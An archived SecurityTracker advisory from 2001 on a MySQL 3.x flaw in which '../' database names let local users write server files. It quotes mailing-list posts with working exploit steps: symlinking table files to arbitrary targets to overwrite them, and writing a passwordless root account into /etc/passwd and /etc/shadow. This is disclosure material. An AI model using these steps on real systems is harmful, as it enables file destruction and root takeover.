SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Database)  >   MySQL Vendors:   MySQL.com
Re: MySQL Database Allows Authorized Users to Modify Server Files to Deny Service or Obtain Additional Access
SecurityTracker Alert ID:  1001133
SecurityTracker URL:  http://securitytracker.com/id/1001133
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 21 2001
Impact:   Denial of service via local system, Modification of user information, User access via local system

Version(s): mysql-3.20.32a
Description:   It is reported that any local MySQL user can exploit MySQL to write files on the server with the privileges assigned to the MySQL server (which may be root-level privileges in some cases). This can be used to gain additional access on the server.

A user reports that this vulnerabiltiy applies to mysql 3.23.32 [which is contrary to what the vendor has noted in a previous message].

This user tried the following commands:

mysql -u root ../../../../tmp
create table yikes(w int(4));

With these commands, the user was able to create:

/tmp/yikes.*

Impact:   An authorized local user can use MySQL to write files to the server in a denial of service attempt or in an attempt to obtain additional privileges. If the MySQL daemon is run as root, then the user can obtain root-level privileges.
Solution:   No solution was available at the time of this entry. The author of the original source report makes several recommendations: 1) Patch MySQL to check all tablename files
2) Patch MySQL to treat database names beginning with ".." as invalid database names.
3) Do not run the MySQL daemon as root.

Vendor URL:  mysql.com (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   Linux (Any), UNIX (FreeBSD), UNIX (Solaris - SunOS), Windows (NT), Windows (95), Windows (98), Windows (2000)

Message History:   This archive entry is a follow-up to the message listed below.
Mar 19 2001 MySQL Database Allows Authorized Users to Modify Server Files to Deny Service or Obtain Additional Access



 Source Message Contents

Date:  Tue, 20 Mar 2001 12:02:58 +1100
Subject:  Re: potential vulnerability of mysqld running with root


Works for mysql 3.23.32 running as root.

I used:

mysql -u root ../../../../tmp
create table yikes(w int(4));

This created /tmp/yikes.*


>>> "Pavlov, Lesha" <lesha@NN.RU> 19/3/01 4:32:37 am >>>
Anybody, who get login and password to mysql can use it as DoS or r00t
exploit because mysql accepts '../blah-blah' as valid database name and
each table represented by 3 files tablename.ISD, tablename.ISM and
tablename.frm, But, when mysqld checks table already exists or not
exists, it checks _only_ tablename.frm :

Usage this "vulnerable features of mysql" to make big DoS (Will
Overwrite any file you wish):
$ cd /var/tmp
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table qqq(www int);
\q
$
File /some/file/you/wish/to/overwrite will be overwritten.

Usage as r00t exploit:
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$
You getta r00t now!

Recomendations:
* Patch mysql to when check table presents, it checks all
tablename.{ISD,ISM,frm} files, not only tablename.frm
* Patch mysql to treat database names, started by '..' as incorrect
database names.
* And Main recomendation - do not run mysqld as root!!!

Patches:
 not yet

Workaround:
chowns existing database tables to a normal user and run mysqld as this
unprivileged user - it will be better solution!.

Vulnerable versions:
This DoS/exploit tested on mysql-3.20.32a but i see another versions of
mysql also vulnerabile.

Comments:
Mysql dox recomends dont run mysqld as root, but People from RedHat
didnt read mysql dox - mysql istalled from rpm is vulnerable.

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2013, SecurityGlobal.net LLC